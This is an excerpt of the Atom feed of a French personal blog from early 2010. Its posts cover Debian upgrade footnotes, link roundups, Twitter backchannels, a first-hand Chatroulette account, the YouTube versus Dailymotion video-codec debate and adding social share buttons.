&lt;p&gt;Oui ils choisissent les petits noms dans les personnages de Toy Story&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;J&amp;rsquo;avais envie d&amp;rsquo;avoir la possibilité d&amp;rsquo;utiliser les contacts Google dans Evolution, ce qui n&amp;rsquo;est possible qu&amp;rsquo;avec la version 2.28 et lenny ne proposait que la version 2.22 (et rien dans les backports)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Certains y trouveront &lt;em&gt;stable&lt;/em&gt; et ils peuvent y écrire &lt;em&gt;testing&lt;/em&gt; ou &lt;em&gt;squeeze&lt;/em&gt;. C&amp;rsquo;est mieux &lt;em&gt;squeeze&lt;/em&gt; car ça évitera de faire un saut de version sans le savoir lorsque les développeurs Debian décideront ce saut&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f4"&gt;
&lt;p&gt;Sous &lt;code&gt;v&lt;/code&gt;i un &lt;code&gt;$s/lenny/squeeze/g&lt;/code&gt; fait bien le boulot&amp;#160;&lt;a class="footnote-backref" href="#fnref:f4" title="Jump back to footnote 4 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f5"&gt;
&lt;p&gt;Je m&amp;rsquo;en suis sorti avec une seule machine, donc pas de recherche sur le net ;-)&amp;#160;&lt;a class="footnote-backref" href="#fnref:f5" title="Jump back to footnote 5 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f6"&gt;
&lt;p&gt;Je ne suis pas tout à fait sûr que c&amp;rsquo;est la config actuelle mais ça n&amp;rsquo;a pas d&amp;rsquo;importance car on n&amp;rsquo;utilisera pas ce nouveau noyau, on crée simplement l&amp;rsquo;arborescence utile à la compilation des drivers nvidia&amp;#160;&lt;a class="footnote-backref" href="#fnref:f6" title="Jump back to footnote 6 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Vrac #2</title><link href="http://blog.namok.be/2010-02-22-Vrac-2.html" rel="alternate"/><published>2010-02-22T00:00:00+01:00</published><updated>2010-02-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-02-22:/2010-02-22-Vrac-2.html</id><summary type="html">Une distribution debian, obedian, Openoffice, une voiture électrique…</summary><content type="html">&lt;p&gt;Si vous êtes fans de robots, Korben nous propose une boutique / blog d&amp;rsquo;actus sur le sujet. Vous pouvez également voir à l&amp;rsquo;œuvre &lt;a href="https://korben.info/robot-rubiks-cube.html"&gt;un robot « solutionneur de Rubik&amp;rsquo;cube »&lt;/a&gt;… plus rapide qu&amp;rsquo;un chinois. (via Korben)&lt;/p&gt;
&lt;p&gt;Pour ceux qui sont sensibles à leur vie privée (non vous n&amp;rsquo;avez pas de compte Facebook ni Google ;-) ) vous pouvez tester &lt;a href="https://www.odebian.org/"&gt;odebian, une distribution Linux orientée « vie privée »&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Pour ceux qui, comme moi, se rase le crâne (quelques millimètres ou rien) et/ou les chauves, n&amp;rsquo;hésitez pas à utilisez du shampoing pour chauves (via Sexactu)&lt;/p&gt;
&lt;p&gt;Pour les utilisateurs d&amp;rsquo;Openoffice, la version 3.2 est disponible (moi j&amp;rsquo;en suis encore à la 2.4) (via LinuxFR).&lt;/p&gt;
&lt;p&gt;Si les voitures électriques vous intéressent Toyota (ce lien n&amp;rsquo;est pas &amp;ldquo;visible&amp;rdquo; chez moi) propose une voiture électrique qui pourra se recharger au soleil… et ça c&amp;rsquo;est inovant. (via Metro)&lt;/p&gt;
&lt;p&gt;Pour terminer, n&amp;rsquo;hésitez pas à aller (re)voir la guerre des t-shirts en Stopmotion.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité en juillet 2024 : la plupart des liens sont morts.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Twitter et backchannel</title><link href="http://blog.namok.be/2010-02-22-Twitter-et-backchannel.html" rel="alternate"/><published>2010-02-22T00:00:00+01:00</published><updated>2010-02-22T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-02-22:/2010-02-22-Twitter-et-backchannel.html</id><summary type="html">Twitter et backchannel</summary><content type="html">&lt;p&gt;Pour rappel Twitter est une plateforme de micro-blogging, entendez un blog où chaque post fait moins de 140 caractères.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Inutile donc indispensable.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Certains diront que c&amp;rsquo;est tout à fait inutile et ils auront sans doute autant raison que ceux qui disent que la voiture est inutile mais là n&amp;rsquo;est pas le sujet, on parle aujourd&amp;rsquo;hui de &lt;a href="http://en.wikipedia.org/wiki/Backchannel"&gt;&lt;em&gt;backchannel&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Backchannel&lt;/strong&gt; a pour principe de proposer un écran (une zone) sur laquelle le public peut s&amp;rsquo;exprimer en temps réel et participer ainsi au &amp;ldquo;spectacle&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Photo d'un back channel" class="right" src="/images/openbackchannel.jpg" width="50%"&gt;&lt;/p&gt;
&lt;p&gt;Twitter permet de faire facilement ce genre de chose, l&amp;rsquo;idée étant de proposer aux participants d&amp;rsquo;une conférences, d&amp;rsquo;un congrès, d&amp;rsquo;un cours… d&amp;rsquo;être plus actif, via Twitter.&lt;/p&gt;
&lt;p&gt;Le participant pourra proposer son commentaire, via Twitter, qui apparaitra dans la(les) salle(s) de conférences/cours/site web. D&amp;rsquo;après &lt;a href="https://psyetgeek.com/mondes-numeriques/faut-il-bannir-twitter-des-salles-de-confrence/"&gt;l&amp;rsquo;article de Psy et Geek&lt;/a&gt; on pourra voir apparaitre 4 types de commentaires :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;le commentaire salutation (Salut Martin, t&amp;rsquo;es là aussi);&lt;/li&gt;
&lt;li&gt;le commentaire informatif (La conférence de Marlène Sassoeur est en salle 3);&lt;/li&gt;
&lt;li&gt;le commentaire discussion (J&amp;rsquo;ai un chouette lien sur les vases chinois dont parle Juste, link) et;&lt;/li&gt;
&lt;li&gt;le commentaire hors sujet / humoristique (Il est moche son pull gris).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;C&amp;rsquo;est ce quatrième type de commentaire qui risque de poser problème.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.zephoria.org/thoughts/archives/2009/11/24/spectacle_at_we.html"&gt;Lire la mauvaise expérience de Danah Boyd au sujet du backchannel&lt;/a&gt;, principalement car&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;l&amp;rsquo;écran n&amp;rsquo;était pas visible de l&amp;rsquo;oratrice;&lt;/li&gt;
&lt;li&gt;les commentaires étaient autorisés pendant son discours, et;&lt;/li&gt;
&lt;li&gt;son débit ne correspondait pas au public et Twitter ne l&amp;rsquo;a pas aidé à l&amp;rsquo;adapter.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Danah Boyd lors d'une conférence" class="left" src="/images/danahboyd.jpg" width="33%"&gt;&lt;/p&gt;
&lt;p&gt;Il semble que l&amp;rsquo;utilisation conjointe de Twitter et de la télévision soit à la mode également. Par exemple, je regarde une émission hyper intéressante (« L&amp;rsquo;île de la tentation » bel exemple qui doit être la plus mauvaise) et je tweet en même temps. Inutile, mais ça devient de la télévision « sociale », je peux commenter avec d&amp;rsquo;autres qui regarde la même émission. En fait c&amp;rsquo;est très cool… si ça ne se fait pas que pour les trucs cons.&lt;/p&gt;
&lt;p&gt;Imaginons que l&amp;rsquo;on tweet pendant « Questions à la Une ». Je pourrais partager mes commentaires avec d&amp;rsquo;autres qui regardent la même émission. À essayer prochainement.&lt;/p&gt;
&lt;p&gt;Dans ma recherche de moyen de communications entre les étudiants; je propose IRC, un salon de discussion Jabber (voir ESI), un planet (rassemblement de blogs) et je me demande si on ne pourrait pas essayer Twitter ^^ Je sais…&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Inutile donc indispensable.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Quoique !&lt;/p&gt;
&lt;p&gt;Le principe est simple, il faut utiliser les &lt;em&gt;hashtag&lt;/em&gt; de Twitter. Ce sont des mots commençant par un hash (#) qui permettent de rassembler des tweets.&lt;/p&gt;
&lt;p&gt;Donc, suivons ce petit tuto afin de mettre ça en œuvre.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Se procurer le hardware &amp;hellip; on essaiera au labo,&lt;/li&gt;
&lt;li&gt;Créer un hashtag, #hebesi semble libre,&lt;/li&gt;
&lt;li&gt;Ajouter un add on Mozilla permettant de faire u auto-reload d&amp;rsquo;un onglet,&lt;/li&gt;
&lt;li&gt;se rendre sur la page Twitter http://search.twitter.com/ et lancer le tout&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Le résultat peut se voir chez Twitter.&lt;/p&gt;</content></entry><entry><title>À la recherche du chat sur la roulette</title><link href="http://blog.namok.be/2010-02-15-a-la-recherche-du-chat-sur-la-roulette.html" rel="alternate"/><published>2010-02-15T00:00:00+01:00</published><updated>2010-02-15T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-02-15:/2010-02-15-a-la-recherche-du-chat-sur-la-roulette.html</id><summary type="html">Un site où l'on chatte avec une personne au hasard.</summary><content type="html">&lt;p&gt;Le terme d&amp;rsquo;&lt;strong&gt;IM&lt;/strong&gt; (&lt;em&gt;Instant Messaging&lt;/em&gt;) reprend beaucoup de concepts liés à la messagerie instantanée. L&amp;rsquo;instantané élimine le mail (quoique avec Google Wave tout ça devient flou) et concerne tous les moyens permettant de discuter avec d&amp;rsquo;autres.&lt;/p&gt;
&lt;p&gt;Au commencement il y avait *&lt;em&gt;IRC&lt;/em&gt; qui permettait au &lt;em&gt;geek&lt;/em&gt; de discuter sur divers sujets, puis sont arrivés MSN et consorts (ICQ…) permettant de discuter avec des personnes que l&amp;rsquo;on connait.&lt;/p&gt;
&lt;p&gt;Ensuite sont arrivés &lt;strong&gt;Jabber&lt;/strong&gt; et &lt;strong&gt;gTalk&lt;/strong&gt; qui offrent les deux possibilités; la discussion &lt;em&gt;one to one&lt;/em&gt; avec des gens que l&amp;rsquo;on connait (voire la création de groupe) et la discussion &lt;em&gt;one to many&lt;/em&gt;, en groupe par sujet de discussion avec des personnes que l&amp;rsquo;on ne connait, à priori, pas. Il existe par exemple un salon de discussion pour l&amp;rsquo;ESI que peu de gens fréquentent.&lt;/p&gt;
&lt;p&gt;Attention, &lt;strong&gt;nouvelle arrivée technologique&lt;/strong&gt; : la &lt;strong&gt;webcam&lt;/strong&gt;. J&amp;rsquo;arrive au sujet  de discussion d&amp;rsquo;aujourd&amp;rsquo;hui.&lt;/p&gt;
&lt;p&gt;Même si je peux maintenant voir la tête de mes correspondants si j&amp;rsquo;utilise Skype, MSN, ou autres, je veux aussi pouvoir discuter avec des gens que je ne connais pas sur un sujet de discussion commun. Et ça, ça n&amp;rsquo;existe pas encore sauf des sites payants orienté cul (par exemple Jassume) et un seul autre (je n&amp;rsquo;ai pas trouvé autre chose) proposant des salons (&lt;em&gt;rooms&lt;/em&gt;) gratuitement. Vous pouvez tester (et c&amp;rsquo;est très drôle) le site Vagipe (Facebook room par exemple). Le concept est génial; tu papotes avec des gars « comme dans le temps » mais en plus tu peux voir le visage de 3 d&amp;rsquo;entre eux. Un peu comme ça.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot Vagipe" src="/images/vagipe1.png"&gt;&lt;/p&gt;
&lt;p&gt;Moi j&amp;rsquo;adhère mais il n&amp;rsquo;existe que peu de salons pour l&amp;rsquo;instant.&lt;/p&gt;
&lt;p&gt;Le deuxième endroit à la mode (et ça commence à buzzer), c&amp;rsquo;est &lt;a href="//chatroulette.com"&gt;&lt;strong&gt;Chatroulette&lt;/strong&gt;&lt;/a&gt;. L&amp;rsquo;idée est de discuter en &lt;em&gt;one to one&lt;/em&gt; mais au hasard (d&amp;rsquo;où « la roulette »). Le site sélectionne deux personnes au hasard et les mets en contact. Ils ont la possibilité de parler, écrire, se voir… et cliquer sur &lt;em&gt;next&lt;/em&gt; pour en sélectionner un autre.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;ai fais deux ou trois expériences pour l&amp;rsquo;instant. Premier constat, ça mange ton temps ;-) Ensuite,&lt;/p&gt;
&lt;p&gt;ce qui est bien :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;j&amp;rsquo;ai pu discuter avec un français sympa, un couple de français sympas, et deux gars de Lens (c&amp;rsquo;est près de chez moi) en Français;&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;ai rencontré des gars seuls devant la webcam, comme moi mais également des couples et des groupes avec qui j&amp;rsquo;ai pu parler;&lt;/li&gt;
&lt;li&gt;on entre « chez les gens » et l&amp;rsquo;on voit beaucoup de personnes différentes, c&amp;rsquo;est drôle (inutile hein ! Je ne dis pas le contraire);&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;ai parlé un peu avec des français, une canadienne, des américains, des anglais et des chinois.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;ce qu&amp;rsquo;il faut savoir / être  avant de cliquer sur le lien :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;être &amp;ldquo;adulte&amp;rdquo; (ce n&amp;rsquo;est pas une activité familiale);&lt;/li&gt;
&lt;li&gt;être assez &lt;em&gt;open&lt;/em&gt; et réactif car la difficulté est de pouvoir « accrocher » quelqu&amp;rsquo;un en quelques phrases et il faut pouvoir réagir au type de personne que l&amp;rsquo;on a en face (on trouve de tout);&lt;/li&gt;
&lt;li&gt;être un peu voyeur et avoir envie de voir des gens et peut-être de parler avec eux&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img alt="Screenshot chatroulette" src="/images/chatroulette1.png" width="49%"&gt;
&lt;img alt="Screenshot chatroulette" src="/images/chatroulette2.png" width="49%"&gt;&lt;/p&gt;
&lt;p&gt;ce qui est moins bien (enfin c&amp;rsquo;est selon) :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;j&amp;rsquo;ai vu plus ou moins 70 webcams dont; 6 filles, 10 groupes, 5 couples… et 15 pénis levés et 5 affiches collées sur la webcam disant: « _I wan boobs &amp;gt; !&lt;/li&gt;
&lt;li&gt;c&amp;rsquo;est parfois fort &lt;em&gt;zapping , ne soyez donc pas vexé si vous voyez 20 personnes vous _zapper&lt;/em&gt; avant de tomber sur une qui veut bien parler un peu. Les 4, 5 discussions que j&amp;rsquo;ai eue étaient brèves mais sympas;&lt;/li&gt;
&lt;li&gt;Je n&amp;rsquo;ai eu qu&amp;rsquo;une seule discussion qui a duré plus de 5&amp;rsquo; (avec le couples de Français). Étrangement la caméra sympa du début perturbe un peu ensuite. Tu vois si l&amp;rsquo;autre fait autre chose ou bien si l&amp;rsquo;on se regarde sans trop savoir quoi écrire.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Je termine par une question : Qui peut bien se retrouver la-dessus ?&lt;/p&gt;
&lt;p&gt;Ça doit être aussi varié que sur les sites sociaux et les attentes un peu plus orientées cul (j&amp;rsquo;ai l&amp;rsquo;impression que l&amp;rsquo;on y retrouve beaucoup de mecs cherchant à voir des seins) mais, je répète, que c&amp;rsquo;est sympa la « rencontre brève » de gens de partout.&lt;/p&gt;
&lt;p&gt;Il faut être ouvert, un peu voyeur, curieux, et prêt à rencontrer des images fort fort différentes (un pénis, une (rare) paire de seins, une bande de jeunes, un vieux, un couple, un moche, un gros, un apolon, etc.)&lt;/p&gt;
&lt;p&gt;Bref,&lt;br&gt;
la vie,&lt;br&gt;
le monde ;-)  &lt;/p&gt;
&lt;p&gt;Amusez-vous.&lt;/p&gt;</content></entry><entry><title>Effet Sexactu</title><link href="http://blog.namok.be/2010-02-02-Effet-Sexactu.html" rel="alternate"/><published>2010-02-02T00:00:00+01:00</published><updated>2010-02-02T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-02-02:/2010-02-02-Effet-Sexactu.html</id><summary type="html">Effet Sexactu</summary><content type="html">&lt;p&gt;On connaissait l&amp;rsquo;effet &lt;strong&gt;/.&lt;/strong&gt; sur les sites à force audience, je bénéficie de l&amp;rsquo;effet Sexactu suite à ce billet de Sexactu faisant un lien vers &lt;a href="2010-01-08-Cuni-et-tente-Quechua.html"&gt;mon billet relais sur le camping&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;En quelques chiffres, ça donne…&lt;/p&gt;
&lt;p&gt;…que l&amp;rsquo;on passe de 300 hits à 3000… pour la journée où Maïa poste un lien vers chez moi :-) Drôle.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Chiffres" src="/images/blogEffetSexactu.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Chiffres" src="/images/blogEffetSexactu3.png"&gt;&lt;/p&gt;
&lt;p&gt;Et l&amp;rsquo;on constate que les gens qui fréquentent Sexactu sont bien puisqu&amp;rsquo;ils utilisent pour la plupart Firefox .&lt;/p&gt;
&lt;p&gt;&lt;img alt="Chiffres" src="/images/blogEffetSexactu2.png"&gt;&lt;/p&gt;</content></entry><entry><title>Exit Youtube, retour en force vers Dailymotion</title><link href="http://blog.namok.be/2010-01-27-Exit-Youtube-retour-en-force-vers-Dailymotion.html" rel="alternate"/><published>2010-01-27T00:00:00+01:00</published><updated>2010-01-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-01-27:/2010-01-27-Exit-Youtube-retour-en-force-vers-Dailymotion.html</id><summary type="html">Exit Youtube, retour en force vers Dailymotion</summary><content type="html">&lt;p&gt;Il y a quelques années sont apparus sur le web deux sites permettant de partager des vidées. J&amp;rsquo;ai nommé &lt;strong&gt;Youtube&lt;/strong&gt; et &lt;strong&gt;Dailymotion&lt;/strong&gt;.  &lt;/p&gt;
&lt;p&gt;Y-a-t&amp;rsquo;il des gens dans la salle qui ne connaissent pas ?&lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;époque, j&amp;rsquo;ai commencé par utiliser &lt;em&gt;dailymotion&lt;/em&gt; car c&amp;rsquo;était un produit européen (français pour être exact) et qu&amp;rsquo;il était arrivé un peu plus tôt sur la scène. Au fil du temps, force est de constater que &lt;em&gt;youtube&lt;/em&gt; l&amp;rsquo;a un peu détrôné et si tout le monde connait &lt;em&gt;youtube&lt;/em&gt; certains ne connaissent pas &lt;em&gt;dailymotion&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Bref, quand est-il aujourd&amp;rsquo;hui ?&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, je commençais à glisser doucement vers &lt;em&gt;youtube&lt;/em&gt; pour faire le mouton et parce que la majorité des liens proviennent de là. Mais la lecture d&amp;rsquo;un article de Rue 89 (relayé par le groupe &lt;a href="https://www.lavenir.net/actu/conso/multimedia/2010/01/27/pourrez-vous-toujours-regarder-youtube-sur-firefox-les-formats-video-h264-et-theora-ogg-en-question-pour-le-html5-BMSGKAPNURAY3DZWIR7GVXCJQY/"&gt;&amp;lsquo;Vers l&amp;rsquo;avenir&amp;rsquo; via buzz 24&lt;/a&gt;) m&amp;rsquo;inquiète un peu. HTML5 est sans doute une très bonne chose mais le fait que je ne puisse pas visualiser &lt;a href="http://www.youtube.com/html5"&gt;cette page&lt;/a&gt; sous prétexte que les choix de Google (Microsoft et Apple) se portent vers des technologies propriétaires (ça ce n&amp;rsquo;est pas récent) et chères me fait bondir (hop!).&lt;/p&gt;
&lt;p&gt;Techniquement, &lt;em&gt;youtube&lt;/em&gt; (qui appartient à Google pour rappel) se dirige vers la &lt;a href="http://fr.wikipedia.org/wiki/H.264"&gt;norme H.264&lt;/a&gt; dont le brevet est payant, tandis que &lt;em&gt;dailymotion&lt;/em&gt; se dirige vers &lt;a href="http://www.theora.org/"&gt;Ogg Theora&lt;/a&gt;, un codec libre &amp;hellip; pour lequel on peut faire des dons ;-)&lt;/p&gt;
&lt;p&gt;Pratiquement cela signifie que le choix de H.264 par Google via &lt;em&gt;youtube&lt;/em&gt; mettra Firefox sur le côté au profit de Internet Explorer, Safari et Google Chrome… bref, rien grand chose tournant sous Linux.&lt;/p&gt;
&lt;p&gt;Je vous invite donc tous à lutter et &lt;strong&gt;déposer vos vidéos sur &lt;em&gt;dailymotion&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Pourquoi ? Simplement car je crois qu&amp;rsquo;il est bon de privilégier les formats ouverts et non propriétaires lorsqu&amp;rsquo;ils existent.&lt;/p&gt;</content></entry><entry><title>Vrac #1</title><link href="http://blog.namok.be/2010-01-27-vrac-1.html" rel="alternate"/><published>2010-01-27T00:00:00+01:00</published><updated>2010-01-27T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-01-27:/2010-01-27-vrac-1.html</id><summary type="html">DNS racines, fichiers PDF</summary><content type="html">&lt;p&gt;&lt;em&gt;(Je copie (à nouveau) l&amp;rsquo;idée d&amp;rsquo;un autre blog et je vous fournis une série de liens en vrac. Merci à &lt;a href="//korben.info"&gt;Korben&lt;/a&gt; qui génère une quantité incroyable d&amp;rsquo;articles.)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Or donc, pour les &lt;em&gt;geeks&lt;/em&gt;, sachez que &lt;a href="http://www.korben.info/migration-dns-racines.html?utm_source=feedburner&amp;amp;utm_medium=feed&amp;amp;utm_campaign=Feed%3A+KorbensBlog-UpgradeYourMind+%28Korben%27s+Blog+-+Upgrade+Your+Mind%29"&gt;les &lt;em&gt;root DNS&lt;/em&gt; (les DNS racines) feront leur migration demain&lt;/a&gt;. Ça peut poser des petits problèmes. Si vous ne savez pas quel Smartphone acheter, faites votre choix en fonction de l&amp;rsquo;OS qui tourne dessus. Si vous utilisez vim, voici un livre en français qui pourrait servir.&lt;/p&gt;
&lt;p&gt;Je vous disais que j&amp;rsquo;ai ajouté un lien Add this au bas de chaque post dont un qui permet de générer un PDF. Par contre PDFmyUrl permet de le faire beaucoup mieux.&lt;/p&gt;
&lt;p&gt;Si par contre vous êtes joueur et que vous aimez bien les légos, ce jeu devrait vous plaire.&lt;/p&gt;
&lt;p&gt;Pour les profs paranos qui veulent locker leur pc lorsqu&amp;rsquo;il s&amp;rsquo;en éloigne &amp;hellip; il existe un petit soft Windows et &lt;em&gt;bluetooth&lt;/em&gt; le permettant.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Édité en juin 2024&lt;/em&gt; quasi tous les liens sont morts. &lt;/p&gt;</content></entry><entry><title>Tweet me, digg me, facebook me…</title><link href="http://blog.namok.be/2010-01-24-Tweet-me-digg-me-facebook-me.html" rel="alternate"/><published>2010-01-24T00:00:00+01:00</published><updated>2010-01-24T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-01-24:/2010-01-24-Tweet-me-digg-me-facebook-me.html</id><summary type="html">Tweet me, digg me, facebook me…</summary><content type="html">&lt;p&gt;&lt;em&gt;Tweet me, digg me, facebook me&lt;/em&gt;… tout est bon pour que ce que l&amp;rsquo;on dit sur son blog soit répété sur les réseaux sociaux. C&amp;rsquo;est l&amp;rsquo;éternel combat entre la protection de sa vie privée et l&amp;rsquo;envie que tout le monde sache ce que l&amp;rsquo;on poste sur son blog. Essayons donc que ce soit un peu instructif (ce post s&amp;rsquo;adresse à un public d&amp;rsquo;un niveau moyen en &lt;em&gt;web&lt;/em&gt; et &lt;a href="//embruns-d-ecume.over-blog.com/"&gt;Marie-No&lt;/a&gt; peut continuer de lire).&lt;/p&gt;
&lt;p&gt;Le principe est le suivant : je détiens un blog et je veux donner la possibilité à chaque visiteur de mon blog de signaler (et ça doit être facile à faire sinon il ne le fera pas) à tous ses amis (comprenez les membres de ses réseaux sociaux) que ce que j&amp;rsquo;écris est intéressant et que ça va les intéresser… ainsi que les amis de ses amis, etc. Comme ça lorsque l&amp;rsquo;internaute parcourt le web (lorsqu&amp;rsquo;il s&amp;rsquo;informe car ceci ne se limite pas aux blogs personnels), il a la possibilité de cliquer sur un petit bouton afin d&amp;rsquo;informer ses amis de l&amp;rsquo;info (sensationnelles ou tout au moins intéressante) qu&amp;rsquo;il vient de lire.&lt;/p&gt;
&lt;p&gt;Je ne peux pas faire l&amp;rsquo;impasse et je décide d&amp;rsquo;apposer ces petits boutons sur mon blog ;-)&lt;/p&gt;
&lt;p&gt;Un peu de vocabulaire pour ceux qui débarquent. Les amis se déclinent de mille manière différentes: les &lt;em&gt;followers&lt;/em&gt; sur Twitter, les &lt;em&gt;friends&lt;/em&gt; sur Facebook, le réseau sur Delicious, les contacts professionnels sur Linkedin, les inconnus sur hi5 (j&amp;rsquo;ai un compte par là que je ne regarde jamais) et encore plein d&amp;rsquo;autres sur lesquels je n&amp;rsquo;ai pas de compte. En deux mots. Twitter permet de faire passer de l&amp;rsquo;info de moins de 320 caractères comme le status Facebook. Facebook permet plein de choses, entre autres, l&amp;rsquo;info « à la twitter » via le status, la rédaction de notes comme sur un blog, la mise à disposition de médias (photos, vidéos, etc.) comme Picassa, Youtube, Dailymotion. Delicious permet le partage / mise à disposition / simple rappel de liens. LinkedIn permet de garder les adresses électroniques et autres de (anciens) copains de classe, collègues.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;utilise principalement Twitter et Facebook comme réseaux sociaux et LinkedIn comme réseau professionnel. Je n&amp;rsquo;utilise pas les autres car on ne peut pas être partout et que je ne dis pas de choses suffisamment intéressantes que pour me retrouver sur Digg ou Scoopeo. Ces sites classent les articles que les membres ont postés sur leur site par ordre d&amp;rsquo;intérêt ; si je trouve l&amp;rsquo;article intéressant, je clique et ça fait +1. Facile.&lt;/p&gt;
&lt;p&gt;Or donc, ce matin, Frome m&amp;rsquo;envoie un lien vers Rivbox, un blog d&amp;rsquo;actualités sur le web/design/outils. J&amp;rsquo;y vois un lien vers Boostpost, un site offrant la possibilité d&amp;rsquo;apposer sur son site les fameuses petites icônes à buzz. Je teste un peu. Je tombe aussi sur SocialFollow qui fait la même chose c&amp;rsquo;est-à-dire de manière aussi lourde et lente. Je regarde à nouveau vers le plugin Dotclear ShareOn qui semble pas mal, mais bof. Les deux javascipts sont lents et le plugin Dotclear un peu lourd à mettre en oeuvre (oui je suis un peu fainéant sur ce coup là).&lt;/p&gt;
&lt;p&gt;Bref, avant de passer à autre chose ce qui serait dommage puisque j&amp;rsquo;ai déjà perdu (une heure) deux minutes, je retrouve AddThis. AddThis est le plus vieux site proposant ce genre d&amp;rsquo;outil. Je me rappelle les gros boutons qu&amp;rsquo;il proposait jadis. À l&amp;rsquo;époque, ils m&amp;rsquo;avaient découragés de les apposer sur mon blog. Aujourd&amp;rsquo;hui, ça a changé, je peux paramétrer comme je veux la liste de boutons et, moyennant inscription (argh &lt;em&gt;big brother&lt;/em&gt;), je peux recevoir un compte-rendu des clics effectués sur mon site.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;adopte et si les boutons restent sur mon site à l&amp;rsquo;avenir, c&amp;rsquo;est que c&amp;rsquo;est bien.&lt;br&gt;
Et hop ! Une heure de perdue ;-)&lt;/p&gt;
&lt;p&gt;Ce qui m&amp;rsquo;a décidé c&amp;rsquo;est l&amp;rsquo;évolution des blogs depuis l&amp;rsquo;ère de Facebook. Avant j&amp;rsquo;avais un ou deux commentaires par mois sur mon blog (je sifflotte) et maintenant, j&amp;rsquo;ai deux like et deux commentaires par posts sur Facebook et plus rien (presque) sur mon blog.&lt;/p&gt;
&lt;p&gt;Avec ces deux boutons, j&amp;rsquo;espère y voir lorsque quelqu&amp;rsquo;un partage l&amp;rsquo;article. Qui sait ;-)&lt;/p&gt;
&lt;p&gt;À ce sujet, si vous avez une demande de vulgarisation/présentation d&amp;rsquo;un sujet, n&amp;rsquo;hésitez pas. Je peux faire ça pendant la 25&lt;up&gt;ième&lt;/up&gt; heure du jour ;-)&lt;/p&gt;</content></entry><entry><title>54J pour un 95C</title><link href="http://blog.namok.be/2010-01-19-54J-pour-un-95C.html" rel="alternate"/><published>2010-01-19T00:00:00+01:00</published><updated>2010-01-19T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2010-01-19:/2010-01-19-54J-pour-un-95C.html</id><summary type="html">Pendant quelques jours, le _buzz_ des réseaux sociaux est de donner la couleur de son soutien pour sensibiliser au cancer du sein.</summary><content type="html">&lt;p&gt;En terme de « sous-marin coulé », tout le monde sait de quoi l&amp;rsquo;on parle lorsque l&amp;rsquo;on parle d&amp;rsquo;un « 95C »… ou plus communément d&amp;rsquo;un 90B. D&amp;rsquo;ailleurs parmi les garçons nombreux sont ceux qui peuvent, d&amp;rsquo;un simple regard, estimer la taille d&amp;rsquo;un bonnet (la taille d&amp;rsquo;un bonnet, pas celle d&amp;rsquo;un sein, car on sait bien que certaines trichent).&lt;/p&gt;
